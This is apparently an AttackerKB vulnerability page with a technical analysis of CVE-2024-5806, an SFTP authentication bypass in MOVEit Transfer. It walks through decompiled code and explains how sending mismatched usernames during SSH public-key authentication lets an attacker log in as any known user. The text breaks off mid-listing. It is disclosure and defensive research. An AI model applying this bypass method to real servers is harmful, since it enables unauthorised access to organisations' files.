Attacker Value
Very High
(1 user assessed)
Exploitability
High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
3

CVE-2024-5806

Disclosure Date: June 25, 2024
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Improper Authentication vulnerability in Progress MOVEit Transfer (SFTP module) can lead to Authentication Bypass.This issue affects MOVEit Transfer: from 2023.0.0 before 2023.0.11, from 2023.1.0 before 2023.1.6, from 2024.0.0 before 2024.0.2.

Add Assessment

3
Ratings
  • Attacker Value
    Very High
  • Exploitability
    High
Technical Analysis

Based on our AttackerKB Rapid7 Analysis, I have rated the exploitability as high, as an exploit can easily be implemented by modifying an existing SFTP library to trigger the auth bypass. However, when running the exploit, the attacker must first know the username of a valid user account on the target server. I have rated the attacker value as very high, as this is an auth bypass in an SFTP service of an enterprise file transfer solution.

CVSS V3 Severity and Metrics
Base Score:
None
Impact Score:
Unknown
Exploitability Score:
Unknown
Vector:
Unknown
Attack Vector (AV):
Unknown
Attack Complexity (AC):
Unknown
Privileges Required (PR):
Unknown
User Interaction (UI):
Unknown
Scope (S):
Unknown
Confidentiality (C):
Unknown
Integrity (I):
Unknown
Availability (A):
Unknown

General Information

Vendors

  • Progress

Products

  • MOVEit Transfer

Additional Info

Technical Analysis

Overview

On June 25, 2024 Progress Software published an advisory for CVE-2024-5806, an authentication bypass vulnerability affecting the SFTP module of MOVEit Transfer. Initially given a “high” severity rating, the vendor has since updated the severity rating to critical, with a CVSS base score of 9.1. The following version of MOVEit Transfer are affected:

  • MOVEit Transfer 2023.0.x (fixed in 2023.0.11)
  • MOVEit Transfer 2023.1.x (fixed in 2023.1.6)
  • MOVEit Transfer 2024.0.x (fixed in 2024.0.2)

Our analysis has shown that a remote unauthenticated attacker can leverage CVE-2024-5806 to successfully authenticate to the SFTP service as any user, so long as the following conditions are met (based on a vulnerable version 2023.0.1):

  • The attacker must know in advance the username of a valid MOVEit Transfer user account on the target server.
  • If an attacker tries to guess a valid username and fails too many times, the attacker’s IP address will be locked out. The default “Lockout Policy” is to lock out an IP address after five tries within six minutes. By default, locked-out IP addresses must be manually removed from the lockout list by an administrator.
  • The “Remote Access Rules”, which govern the remote IP addresses that can access this user account, must allow for remote access from the IP address the attacker uses. By default, all IP addresses are allowed for regular users. For Administrator and FileAdmin users, only internal network IP addresses are allowed (the default IP address range is 10.*.*.*). The sysadmin user is not allowed to authenticate via a remote IP by default.

An attacker who successfully exploits CVE-2024-5806 can access any file on the SFTP server that the user they are authenticating as has permission to access.

CVE-2024-5806 is reportedly being exploited in the wild. As of June 21, 2024, Shodan reported 1,085 instances of the MOVEit Transfer SFTP server exposed to the public internet, though exposure counts often vary based on the query used.

A technical analysis of CVE-2024-5806 was published by watchTower on June 25, 2024. This analysis details an exploitation strategy that relies on leveraging a zero-day vulnerability in the third-party library “IPWorks SSH” (From vendor “/n software, Inc.”) to successfully exploit CVE-2024-5806. Additionally, their exploitation strategy relies on planting an attacker-controlled key on the target server prior to exploiting CVE-2024-5806, by leveraging the MOVEit Transfer web interface to inject untrusted content into a log file. Our analysis demonstrates successful exploitation of CVE-2024-5806 without leveraging either the third party zero-day vulnerability in “IPWorks SSH”, or the need to leverage the MOVEit Transfer web interface to inject an attacker-controlled key into a log file.

Analysis

We tested a vulnerable version of MOVEit Transfer version 2023.1.3, and a patched version 2024.0.2. As we knew the vulnerability was in the SFTP module, we began by decompiling the SftpServer.exe binary from both versions, and diffing the results. SFTP is a secure file transfer protocol, built as an extension to the SSH protocol, so we expect authentication to follow the SSH authentication norms.

While there are several changes in this binary, we know this is an authentication bypass vulnerability, so the changes in the MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator class are of interest. The patch diff for this class is shown below:

@@ -57,11 +57,15 @@ namespace MOVEit.DMZ.SftpServer.Authentication
       if (string.IsNullOrEmpty(this._publicKeyFingerprint) && !this._keyAlreadyAuthenticated)
       {
         this._logger.Error("Attempted to authenticate empty public key fingerprint");
+        this.StatusCode = 2414;
+        this.StatusDescription = "No public key provided";
         return AuthenticationResult.Denied;
       }
       if (string.IsNullOrEmpty(user.ID))
       {
         this._logger.Debug("No user ID provided for public key authentication");
+        this.StatusCode = 2050;
+        this.StatusDescription = this._i18N.GetMsg(60001);
         return AuthenticationResult.Denied;
       }
       if (this._signatureIsValid.HasValue && !this._signatureIsValid.Value)

What appears to be a small and somewhat innocuous change reveals a complex authentication bypass vulnerability!

From the above changes, it appears that if either an empty public key fingerprint or an empty user ID is supplied to the method SftpPublicKeyAuthenticator.Authenticate, a result of AuthenticationResult.Denied will be returned. This seems reasonable, but in the vulnerable version, theStatusCode and StatusDescription member variables are not set.

We will investigate whether failing to set these status results can impact the authentication logic during public key authentication.

The method UserAuthRequestHandler.AuthenticateByPublicKey is called by HandleRequest shown below at [1], for a UserPublicKeyValidationRequest request. The result of AuthenticateByPublicKey will be passed to CreatePublicKeyAuthResult.

namespace MOVEit.DMZ.SftpServer.Requests.Handlers
{
  public class UserAuthRequestHandler : ISftpRequestHandler<UserAuthRequest, UserAuthResult>
  {

    // ..snip...

    public UserAuthResult HandleRequest(UserPublicKeyValidationRequest request)
    {
      this._logger.Debug("Received public key validation request for user " + request.LoginName);
      UserAuthRequestHandler.AuthenticationContext authenticationContext = this.GetAuthenticationContext((UserAuthRequest) request);
      string publicKeyFingerprint = authenticationContext.IsFromGateway ? authenticationContext.PublicKeyFingerprintFromGateway : request.PublicKey;
      return this.CreatePublicKeyAuthResult(this.AuthenticateByPublicKey(authenticationContext, publicKeyFingerprint, true, new bool?()), authenticationContext, publicKeyFingerprint); // <--- [1]
    }

Shown below, we can see AuthenticateByPublicKey will create a new instance of SftpPublicKeyAuthenticator, at [2], before calling MOVEit.DMZ.ClassLib.SILCurrentUser.SignonWithAuthenticator, at [3], to perform the public key authentication.

// MOVEit.DMZ.SftpServer.Requests.Handlers

    private AuthenticationResult AuthenticateByPublicKey(
      UserAuthRequestHandler.AuthenticationContext context,
      string publicKeyFingerprint,
      bool validationOnly,
      bool? signatureIsValid)
    {
      string loginName = context.LoginName;
      SILGlobals globals = context.Globals;
      SftpSession session = context.Session;
      bool keyAlreadyAuthenticated = session.HasAuthenticatedByPublicKey && publicKeyFingerprint == session.LastPublicKeyFingerprint;
      RandomIdService randomIdService = new RandomIdService((IDataConnection) globals.objWrap.Connection);
      SftpPublicKeyAuthenticator keyAuthenticator = new SftpPublicKeyAuthenticator(this._logger, (IDataConnection) globals.objWrap.Connection, (IRandomIdService) randomIdService, (ISILGetMsg) globals.objI11N, loginName, globals.OrgID, publicKeyFingerprint, session.HasAuthenticatedByPassword, keyAlreadyAuthenticated, signatureIsValid); // <--- [2]
      ILogger logger = this._logger;
      string message;
      if (!validationOnly)
      {
        if (!keyAlreadyAuthenticated)
          message = "Authenticating user " + loginName + " using client key fingerprint " + publicKeyFingerprint;
        else
          message = "Client key fingerprint " + publicKeyFingerprint + " already authenticated for user " + loginName + "; continuing with user authentication process";
      }
      else
        message = "Validating client key fingerprint " + publicKeyFingerprint + " for user " + loginName;
      logger.LogMessage(LogLev.MoreDebug, message);
      if (globals.objUser.SignonWithAuthenticator((IAuthenticator) keyAuthenticator, false, interfaceCode: 4, forceOrg: context.HasBoundOrg, establishSession: !validationOnly, clientCertAuthenticated: true))  // <--- [3]
      {
        if (validationOnly)
        {
          this._logger.LogMessage(LogLev.MoreDebug, "Validation successful");
        }
        else
        {
          this._logger.Info("Authentication successful");
          globals.objUser.ErrorDescription = session.HasAuthenticatedByPassword ? "Signed on with local password and client key" : "Signed on with client key";
          globals.objUser.LogSignon(globals.objUser.Username, loginName);
          globals.objSession.SetValue("MyUsername", (object) globals.objUser.Username);
          globals.objSession.SecureSession(globals.objUser.InstID, globals.objUser.Username);
        }
        return AuthenticationResult.Authenticated;
      }
      if (globals.objUser.ErrorCode == 0)
      {
        this._logger.LogMessage(LogLev.MoreDebug, validationOnly ? "Client key validation successful but password is also required" : "Client key authentication successful but password is also required");
        return AuthenticationResult.Indeterminate;
      }
      this._logger.Info(validationOnly ? "Client key validation failed" : "Client key authentication failed");
      return AuthenticationResult.Denied;
    }

The method SignonWithAuthenticator, shown below, will check if the username supplied by the SFTP authentication request is allowed to access the server, via a call to AuthorizeUserClient at [4]. This helper method will check if the requesting IP address is locked out, due to previous failed login attempts, or if the requested username is expired or inactive.

    public bool SignonWithAuthenticator(
      IAuthenticator authenticator,
      bool audit,
      string myOrgID = "",
      string inputLanguageCode = "",
      int interfaceCode = 0,
      int altInterfaceCode = -1,
      bool forceOrg = false,
      bool bCheckMFA = false,
      bool bPromptMFA = false,
      bool establishSession = true,
      bool skipFillInfo = false,
      bool clientCertAuthenticated = false)
    {
      bool flag1 = false;
      string MyLoginName = Conversions.ToString(Interaction.IIf(string.IsNullOrEmpty(authenticator.LoginName), (object) string.Empty, (object) authenticator.LoginName));
      myOrgID = authenticator.OrgId.HasValue ? authenticator.OrgId.Value.ToString() : myOrgID;
      string empty = string.Empty;
      this.ErrorCode = 0;
      this.bDidFillInfo = false;
      this.FindAndPopulateUserOrg(ref MyLoginName, myOrgID, ref empty, forceOrg);
      bool flag2 = !string.IsNullOrEmpty(this.Username);
      bool flag3;
      if (this.AuthorizeUserClient(MyLoginName)) // <--- [4]
      {
        ICollection<ExternalAuthenticator> externalAuthenticators = (ICollection<ExternalAuthenticator>) null;
        if (this.MayAuthenticateExternally())
          externalAuthenticators = (ICollection<ExternalAuthenticator>) this.GetExternalAuthenticatorList(MyLoginName, string.Empty, interfaceCode);
        bool flag4 = false;
        try
        {
          IAuthenticator[] AuthenticatorList = new IAuthenticator[1]
          {
            authenticator
          };
          int InterfaceCode = interfaceCode;
          int num = this.Org.FailOnFirstAuthFailure != 0 ? 1 : 0;
          ref ICollection<ExternalAuthenticator> local1 = ref externalAuthenticators;
          IAuthenticator authenticator1 = (IAuthenticator) null;
          ref IAuthenticator local2 = ref authenticator1;
          flag4 = this.ExecuteAuthenticators((IList<IAuthenticator>) AuthenticatorList, InterfaceCode, num != 0, ref local1, ref local2); // <--- [5]
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          this.siGlobs.objDebug.LogException(20, "SILCurrentUser.SignonWithAuthenticator", ex);
          this.ErrorCode = 100;
          ProjectData.ClearProjectError();
        }
        if (flag4)
        {
          if (flag2 || this.AllowedAtHost(MyLoginName))
          {
            if (this.AuthorizeUserInterface(interfaceCode, altInterfaceCode, clientCertAuthenticated) && this.CheckMultiSignon())
            {
              if (!bCheckMFA || this.MFAValidateCodeIfNec())
              {
                if (establishSession)
                  this.EstablishAuthenticatedSession(authenticator, empty, inputLanguageCode, interfaceCode, skipFillInfo);
                flag1 = true;
                this.RecordSuccessfulSignon(this.Username);
              }
              else
              {
                this.ErrorCode = 2028;
                this.ErrorDescription = this.siGlobs.objI11N.GetMsg(30509);
                if (bPromptMFA)
                {
                  flag3 = false;
                  goto label_26;
                }
              }
            }
          }
          else
          {
            this.siGlobs.objDebug.Log(30, string.Format("{0}: AllowedAtHost returned False for user {1}", (object) "SILCurrentUser.SignonWithAuthenticator", (object) MyLoginName));
            this.ErrorCode = 2976;
          }
        }
        else if (this.ErrorCode == 2414)
          audit = false;
        else if (this.ErrorCode == 2415 && (interfaceCode == 0 || interfaceCode == 1) && !this.siGlobs.objUtility.CurrentPageChecksClientCert(this.siGlobs.objSession.GetValue("MyCallingPage")))
        {
          flag3 = false;
          goto label_26;
        }
      }
      if (audit || this.ErrorCode != 0)
        this.LogSignon(this.Username, MyLoginName);
      if (!flag1)
      {
        if (!ListUtility.InList<int>(this.ErrorCode, 2976, 2977, 2975))
          this.UserOverloadCheck(this.Username);
      }
      flag3 = flag1;
label_26:
      return flag3;
    }

The SignonWithAuthenticator method will then call ExecuteAuthenticators, shown at [5] above.

The ExecuteAuthenticators helper method, shown below, will call the Authenticate method, at [6], for every authenticator class provided in the AuthenticatorList parameter. In our case it will call the SftpPublicKeyAuthenticator.Authenticate method.

    private bool ExecuteAuthenticators(
      IList<IAuthenticator> AuthenticatorList,
      int InterfaceCode,
      bool FailOnFirstAuthFailure,
      ref ICollection<ExternalAuthenticator> QueryInfoList = null,
      ref IAuthenticator SuccessAuthenticator = null)
    {
      bool flag1 = !string.IsNullOrEmpty(this.Username);
      bool flag2 = SILCurrentUser.IsInterfaceHttps(InterfaceCode);
      bool flag3;
      if (AuthenticatorList.Count > 0)
      {
        try
        {
          foreach (IAuthenticator authenticator in (IEnumerable<IAuthenticator>) AuthenticatorList)
          {
            string loginName = authenticator.LoginName;
            this.siGlobs.objDebug.Log(60, string.Format("SILUser.ExecuteAuthenticators: Authenticating user '{0}' with authenticator: {1}", (object) loginName, (object) authenticator.ToString()));
            AuthenticationResult authenticationResult = AuthenticationResult.Indeterminate;
            try
            {
              authenticationResult = authenticator.Authenticate((SILUser) this); // <--- [6]
              this.ErrorCode = authenticator.StatusCode;
              this.ErrorDescription = authenticator.StatusDescription;
            }
            catch (Exception ex)
            {
              ProjectData.SetProjectError(ex);
              Exception exception = ex;
              this.siGlobs.objDebug.LogException(20, string.Format("{0}.{1}", (object) "SILUser", (object) nameof (ExecuteAuthenticators)), exception);
              this.ErrorCode = 100;
              ProjectData.ClearProjectError();
            }
            switch (authenticationResult)
            {
              case AuthenticationResult.Authenticated:
                bool flag4 = authenticator.ClientCertValidated;
                this.UsingExternalAuthSource = !authenticator.IsInternal;
                this.siGlobs.objDebug.Log(60, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated with authenticator: {1}", (object) loginName, (object) authenticator.ToString()));
                if (authenticator.HasUserInfo)
                {
                  if (flag1)
                  {
                    if (authenticator.AutoSyncOnSignon)
                    {
                      AuthenticatedUserInfo userInfo = authenticator.UserInfo;
                      this.SyncUserAccount(ref userInfo);
                    }
                  }
                  else if (authenticator.AutoCreateOnSignon)
                  {
                    AuthenticatedUserInfo userInfo = authenticator.UserInfo;
                    if (!this.CreateExternalUserAccount(ref userInfo))
                    {
                      this.siGlobs.objDebug.Log(20, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but there was an error creating a new account using authenticator: {1}", (object) loginName, (object) authenticator.ToString()));
                      this.ErrorCode = 2025;
                      this.ErrorDescription = "Unknown username.";
                      continue;
                    }
                  }
                  else
                  {
                    this.siGlobs.objDebug.Log(50, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but account does not exist and authenticator ({1}) is unable or not allowed to create it", (object) loginName, (object) authenticator.ToString()));
                    this.ErrorCode = 2025;
                    this.ErrorDescription = "Unknown username.";
                    continue;
                  }
                }
                else if (QueryInfoList != null && QueryInfoList.Count > 0)
                {
                  bool flag5 = false;
                  try
                  {
                    foreach (ExternalAuthenticator externalAuthenticator in (IEnumerable<ExternalAuthenticator>) QueryInfoList)
                    {
                      this.siGlobs.objDebug.Log(60, string.Format("SILUser.ExecuteAuthenticators: Querying info for user '{0}' with authenticator: {1}", (object) loginName, (object) externalAuthenticator.ToString()));
                      if (externalAuthenticator.QueryUserInfo() && externalAuthenticator.HasUserInfo)
                      {
                        if (flag1)
                        {
                          if (authenticator.AutoSyncOnSignon)
                          {
                            AuthenticatedUserInfo userInfo = externalAuthenticator.UserInfo;
                            this.SyncUserAccount(ref userInfo);
                          }
                        }
                        else if (externalAuthenticator.AutoCreateOnSignon)
                        {
                          AuthenticatedUserInfo userInfo = externalAuthenticator.UserInfo;
                          if (!this.CreateExternalUserAccount(ref userInfo))
                          {
                            this.siGlobs.objDebug.Log(20, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but there was an error creating a new account using authenticator: {1}", (object) loginName, (object) externalAuthenticator.ToString()));
                            this.ErrorCode = 2025;
                            this.ErrorDescription = "Unknown username.";
                            continue;
                          }
                        }
                        else
                        {
                          this.siGlobs.objDebug.Log(50, string.Format("SILUser.ExecuteAuthenticators: User '{0}' authenticated, but account does not exist and authenticator ({1}) is unable or not allowed to create it", (object) loginName, (object) externalAuthenticator.ToString()));
                          this.ErrorCode = 2025;
                          this.ErrorDescription = "Unknown username.";
                          continue;
                        }
                        flag4 = flag4 || externalAuthenticator.ClientCertValidated;
                        flag5 = true;
                      }
                    }
                  }
                  finally
                  {
                    IEnumerator<ExternalAuthenticator> enumerator;
                    enumerator?.Dispose();
                  }
                  if (!flag5)
                  {
                    flag3 = false;
                    goto label_45;
                  }
                }
                if (!flag4)
                {
                  SILGlobals siGlobs = this.siGlobs;
                  ClientCertAuthenticator certAuthenticator = new ClientCertAuthenticator(ref siGlobs, this.Username, loginName, ref this.ClientCertWrapper, flag2 & this.HTTPCertRequired > 0, this.HTTPCertPlusPW > 0);
                  if (certAuthenticator.Authenticate() != AuthenticationResult.Authenticated && this.HTTPCertRequired > 0)
                  {
                    this.siGlobs.objDebug.Log(30, string.Format("SILUser.ExecuteAuthenticators: User '{0}' failed client certificate authentication", (object) loginName));
                    this.ErrorCode = certAuthenticator.StatusCode;
                    this.ErrorDescription = certAuthenticator.StatusDescription;
                    flag3 = false;
                    goto label_45;
                  }
                }
                SuccessAuthenticator = authenticator;
                flag3 = true;
                goto label_45;
              case AuthenticationResult.Denied:
                if (FailOnFirstAuthFailure)
                {
                  this.siGlobs.objDebug.Log(30, string.Format("{0}.{1}: User '{2}' was denied authentication with authenticator: {3}; ceasing authentication chain", (object) "SILUser", (object) nameof (ExecuteAuthenticators), (object) loginName, (object) authenticator));
                  flag3 = false;
                  goto label_45;
                }
                else
                  break;
            }
            this.siGlobs.objDebug.Log(30, string.Format("{0}.{1}: User '{2}' unable to authenticate with authenticator: {3}; continuing authentication chain", (object) "SILUser", (object) nameof (ExecuteAuthenticators), (object) loginName, (object) authenticator));
          }
        }
        finally
        {
          IEnumerator<IAuthenticator> enumerator;
          enumerator?.Dispose();
        }
      }
      else
      {
        this.ErrorCode = 2025;
        this.ErrorDescription = "No authenticators found.";
      }
      flag3 = false;
label_45:
      return flag3;
    }

We can now begin to understand the impact SftpPublicKeyAuthenticator.Authenticate has when it fails to set the StatusCode and StatusDescription upon a failed public key authentication request.

As shown below at [7], after ExecuteAuthenticators calls SftpPublicKeyAuthenticator.Authenticate and public key authentication fails (due to either an empty public key fingerprint or an empty user ID), the authenticationResult will be set to AuthenticationResult.Denied. However, the StatusCode was never set to an error code (i.e., a non-zero value), and will remain its default initialized value of 0. This in turn will set SILCurrentUser.ErrorCode to 0, before returning false to the caller SignonWithAuthenticator, indicating a failed authentication.

    private bool ExecuteAuthenticators(
      IList<IAuthenticator> AuthenticatorList,
      int InterfaceCode,
      bool FailOnFirstAuthFailure,
      ref ICollection<ExternalAuthenticator> QueryInfoList = null,
      ref IAuthenticator SuccessAuthenticator = null)
    {
        // ..snip...
            try
            {
              authenticationResult = authenticator.Authenticate((SILUser) this);
              this.ErrorCode = authenticator.StatusCode; // <--- [7]  ErrorCode becomes 0 even though Authenticate returns AuthenticationResult.Denied
              this.ErrorDescription = authenticator.StatusDescription;
            }

SignonWithAuthenticator will in turn return false to its caller UserAuthRequestHandler.AuthenticateByPublicKey, as shown below at [8].

// AuthenticateByPublicKey

      if (globals.objUser.SignonWithAuthenticator((IAuthenticator) keyAuthenticator, false, interfaceCode: 4, forceOrg: context.HasBoundOrg, establishSession: !validationOnly, clientCertAuthenticated: true))  // <--- [8] SignonWithAuthenticator will return false
      {
        // ...snip...
        return AuthenticationResult.Authenticated;
      }
      if (globals.objUser.ErrorCode == 0) // <--- [9] but ErrorCode will be 0
      {
        this._logger.LogMessage(LogLev.MoreDebug, validationOnly ? "Client key validation successful but password is also required" : "Client key authentication successful but password is also required");
        return AuthenticationResult.Indeterminate; // [10] <--- so client key auth succeeds!
      }
      this._logger.Info(validationOnly ? "Client key validation failed" : "Client key authentication failed");
      return AuthenticationResult.Denied;
    }

We can see above that in AuthenticateByPublicKey, if SignonWithAuthenticator returns false, and the SILCurrentUser.ErrorCode is 0 (shown above at [9]), then an AuthenticationResult of Indeterminate is returned at [10]. This indicates that validation of the client-supplied public key was successful!

The result of AuthenticateByPublicKey will be passed to the method CreatePublicKeyAuthResult, shown below.

    private UserAuthResult CreatePublicKeyAuthResult(
      AuthenticationResult authResult,
      UserAuthRequestHandler.AuthenticationContext authContext,
      string publicKeyFingerprint)
    {
      UserAuthResult publicKeyAuthResult = new UserAuthResult();
      switch (authResult)
      {
        case AuthenticationResult.Authenticated:
          publicKeyAuthResult.HomeFolderPath = UserAuthRequestHandler.GetUserDefaultFolderPath(authContext.Globals, authContext.Session);
          publicKeyAuthResult.AuthResult = AuthResult.Success;
          authContext.Session.HasAuthenticatedByPublicKey = true;
          authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint;
          break;
        case AuthenticationResult.Indeterminate: // <--- [11]
          publicKeyAuthResult.AuthResult = AuthResult.PartialSuccess;
          publicKeyAuthResult.AvailableAuthMethods = (IEnumerable<string>) new string[1]
          {
            "password"
          };
          authContext.Session.HasAuthenticatedByPublicKey = true; // <--- [12]
          authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint;
          break;

We can see above that an authResult of AuthenticationResult.Indeterminate (shown above at [11]) will set the session variable HasAuthenticatedByPublicKey to true (shown above at [12]). This is crucial, as we will see later on.

While we have passed the key validation of a client-supplied public key, we have not actually authenticated the SSH session with a valid MOVEit Transfer user account.

To successfully exploit this vulnerability in practice, an attacker must force SftpPublicKeyAuthenticator.Authenticate to fail, due to either an empty public key fingerprint (a hash computed by the server, of the public key provided by the client) or an empty user ID. We discovered supplying a non-existent username was the key to exploitation, as this forces the user ID to be an empty string.

It may seem counterintuitive to supply a non-existent username to force the failure, as we will need to supply a valid username to authenticate as, during the authentication bypass. But this is exactly what we need to do. We must investigate the SSH protocol internals to understand how we could do both!

When performing SSH public key authentication, the client will first transmit the client’s public key to the server. In doing so, a username is also supplied to the server. The server will verify this user can authenticate with the supplied public key. If successful, the server will respond to the client with a USERAUTH_PK_OK (message type 60) message. This indicates the server considers this public key for the given user to be acceptable. The client must then sign a new request to verify the client has the corresponding private key for the public key they previously provided. The signed data will include a username. This signed data is sent to the server, which will verify the signature using the public key the server previously received. If successful, the server will return a USERAUTH_SUCCESS (message type 52) message, and public key authentication will be completed successfully.

We can see from this description that there are two separate opportunities to supply a username to the server: the first when providing the public key, and the second when performing the signature.

Therefore, during the first client-side public key authentication request to verify the public key, an attacker can supply a non-existent username, such as an empty string value. This will trigger the vulnerability and force client public key authentication to succeed. Then during the signature verification, which occurs afterwards, the client can pass a different username. The server will not verify that the usernames from both requests match.

We can see below how this discrepancy in usernames occurs in the SshUserAuthRequestEventHandler.CreateRequest method below:

// MOVEit.DMZ.SftpServer.IpWorksSsh.EventHandlers.SshUserAuthRequestEventHandler

    protected override UserAuthRequest CreateRequest(SftpserverSSHUserAuthRequestEventArgs eventArgs)
    {
      switch (eventArgs.AuthMethod)
      {
        case "none":
          UserNoneAuthRequest request1 = new UserNoneAuthRequest();
          request1.LoginName = eventArgs.User;
          request1.ConnectionId = eventArgs.ConnectionId;
          request1.LocalHost = this._connection.LocalAddress;
          request1.RemoteHost = this._connection.RemoteHost;
          return (UserAuthRequest) request1;
        case "publickey":
          string keyFingerprint = this._keyService.GetKeyFingerprint(eventArgs.AuthParam, FingerprintType.Md5);
          UserPublicKeyValidationRequest request2 = new UserPublicKeyValidationRequest();
          request2.LoginName = eventArgs.User; // <--- [13] Attacker can set an non-existent username here.
          request2.ConnectionId = eventArgs.ConnectionId;
          request2.LocalHost = this._connection.LocalAddress;
          request2.RemoteHost = this._connection.RemoteHost;
          request2.PublicKey = keyFingerprint;
          return (UserAuthRequest) request2;
        case "sigstatus":
          bool flag = eventArgs.AuthParam.Equals("1");
          this._logger.Debug(string.Format("Server reported client key signature validation success={0}", (object) flag));
          UserPublicKeyAuthRequest request3 = new UserPublicKeyAuthRequest();
          request3.LoginName = eventArgs.User; // <--- [14] Later, the attacker can specify a valid username here to authenticate as!
          request3.ConnectionId = eventArgs.ConnectionId;
          request3.LocalHost = this._connection.LocalAddress;
          request3.RemoteHost = this._connection.RemoteHost;
          request3.SignatureIsValid = flag;
          request3.UsePrevious = true;
          return (UserAuthRequest) request3;

The SshUserAuthRequestEventHandler.CreateRequest method will reset the member variable LoginName for both the “publickey” auth request (shown at [13]), and the “sigstatus” auth request (shown at [14]). These events originate from the library nsoftware.IPWorksSSH, which the SFTP server is using to process the underlying SSH transport layer with the client. The event names “publickey” and “sigstatus” originate from this library, and these events are triggered when a client transmits either its public key or the signed response to a USERAUTH_PK_OK message.

We can also note that the “publickey” event will generate a UserPublicKeyValidationRequest request, whilst a “sigstatus” event will generate a UserPublicKeyAuthRequest request.

Looking at MOVEit.DMZ.SftpServer.Requests.Handlers.HandleRequest below, which dispatches the incoming events from the SSH transport layer, we can see how these two requests differ.

    public UserAuthResult HandleRequest(UserPublicKeyValidationRequest request)
    {
      this._logger.Debug("Received public key validation request for user " + request.LoginName);
      UserAuthRequestHandler.AuthenticationContext authenticationContext = this.GetAuthenticationContext((UserAuthRequest) request);
      string publicKeyFingerprint = authenticationContext.IsFromGateway ? authenticationContext.PublicKeyFingerprintFromGateway : request.PublicKey;
      return this.CreatePublicKeyAuthResult(this.AuthenticateByPublicKey(authenticationContext, publicKeyFingerprint, true, new bool?()), authenticationContext, publicKeyFingerprint); // <--- [15] validationOnly is true
    }

    public UserAuthResult HandleRequest(UserPublicKeyAuthRequest request)
    {
      this._logger.Debug("Received public key authentication request for user " + request.LoginName);
      UserAuthRequestHandler.AuthenticationContext authenticationContext = this.GetAuthenticationContext((UserAuthRequest) request);
      string publicKeyFingerprint = request.UsePrevious ? authenticationContext.Session.LastPublicKeyFingerprint : (authenticationContext.IsFromGateway ? authenticationContext.PublicKeyFingerprintFromGateway : request.PublicKey);
      return this.CreatePublicKeyAuthResult(this.AuthenticateByPublicKey(authenticationContext, publicKeyFingerprint, false, new bool?(request.SignatureIsValid)), authenticationContext, publicKeyFingerprint);// <--- [16] validationOnly is false
    }

They both call AuthenticateByPublicKey, but the validation request (for a “publickey” event) sets the validationOnly parameter in AuthenticateByPublicKey to true (shown at [15] above), while the auth request (for a “sigstatus” event) sets the validationOnly parameter in AuthenticateByPublicKey to false (shown at [16] above).

We know we can leverage the vulnerability to pass the first “publickey” event, and that during that event, the result of AuthenticateByPublicKey will be passed to CreatePublicKeyAuthResult, which in turn will set HasAuthenticatedByPublicKey to true (previously shown at [12]).

The next “sigstatus” event will call AuthenticateByPublicKey again, but now both HasAuthenticatedByPublicKey will be true, and validationOnly will be false.

We can see below in the method SftpPublicKeyAuthenticator.Authenticate, when called a second time during the “sigstatus” event, if a valid username is supplied, and the key was already verified during the “publickey” event (shown at [17] below), then SftpPublicKeyAuthenticator.Authenticate will set a StatusCode of 0 (shown at [18] below) before returning AuthenticationResult.Indeterminate (shown at [19] below).

We know the check below at [17] will pass as HasAuthenticatedByPublicKey (which is used to set _keyAlreadyAuthenticated) will be true due to the “publickey” event.

We can also see the result of calling PublicKeyRegisteredToUser (below at [17] ) is used in an logical OR expression with _keyAlreadyAuthenticated. Due to the logical OR, the key the attacker uses during the attack does not need to be registered to the user they are attempting to authenticate as. Hence the attacker can supply any valid, yet untrusted key during authentication, so long as the attacker also has the accompanying private key. This means an attacker can generate a new and arbitrary, valid RSA key pair prior to performing the attack.

    public AuthenticationResult Authenticate(SILUser user)
    {
      if (string.IsNullOrEmpty(this._publicKeyFingerprint) && !this._keyAlreadyAuthenticated)
      {
        this._logger.Error("Attempted to authenticate empty public key fingerprint");
        return AuthenticationResult.Denied;
      }
      if (string.IsNullOrEmpty(user.ID))
      {
        this._logger.Debug("No user ID provided for public key authentication");
        return AuthenticationResult.Denied;
      }
      if (this._signatureIsValid.HasValue && !this._signatureIsValid.Value)
      {
        this._logger.Error("Signature validation failed for provided public key");
        this.StatusCode = 2414;
        this.StatusDescription = "Signature validation failed for provided public key";
        return AuthenticationResult.Denied;
      }
      if (this._keyAlreadyAuthenticated || this.PublicKeyRegisteredToUser(user.ID)) // <--- [17] _keyAlreadyAuthenticated will be true
      {
        this.StatusCode = 0; // <--- [18]
        if (this._hasAuthenticatedByPassword || !SILUtility.IntToBool(user.SSHCertPlusPW))
          return AuthenticationResult.Authenticated;
        this._logger.Debug(this._keyAlreadyAuthenticated ? "Public key already authenticated, but password required with key" : "Matched public key OK, but password required with key");
        return AuthenticationResult.Indeterminate; // <--- [19]
      }

The above will make the call to SignonWithAuthenticator during AuthenticateByPublicKey, return true (shown below at [20]), and now we finally achieve a successful authentication as an actual user on the system.

As validationOnly will be false (shown below at [21]), the session’s MyUsername value will be set to the username we chose in the “sigstatus” event (technically, it will be the internal user ID corresponding to that username), shown below at [22] . Finally a result of AuthenticationResult.Authenticated is returned (shown below at [23]).

// AuthenticateByPublicKey()

      if (globals.objUser.SignonWithAuthenticator((IAuthenticator) keyAuthenticator, false, interfaceCode: 4, forceOrg: context.HasBoundOrg, establishSession: !validationOnly, clientCertAuthenticated: true)) // <--- [20]
      {
        if (validationOnly)
        {
          this._logger.Info("Validation successful");
        }
        else // <--- [21]
        {
          this._logger.Info("Authentication successful");
          globals.objUser.ErrorDescription = session.HasAuthenticatedByPassword ? "Signed on with local password and client key" : "Signed on with client key";
          globals.objUser.LogSignon(globals.objUser.Username, loginName); // <--- [22]
          globals.objSession.SetValue("MyUsername", (object) globals.objUser.Username);
        }
        return AuthenticationResult.Authenticated; // <--- [23]
      }

This AuthenticationResult.Authenticated value will be returned from AuthenticateByPublicKey to CreatePublicKeyAuthResult, which will complete the authentication process by setting publicKeyAuthResult.AuthResult to AuthResult.Success as shown in [24] below.

    private UserAuthResult CreatePublicKeyAuthResult(
      AuthenticationResult authResult,
      UserAuthRequestHandler.AuthenticationContext authContext,
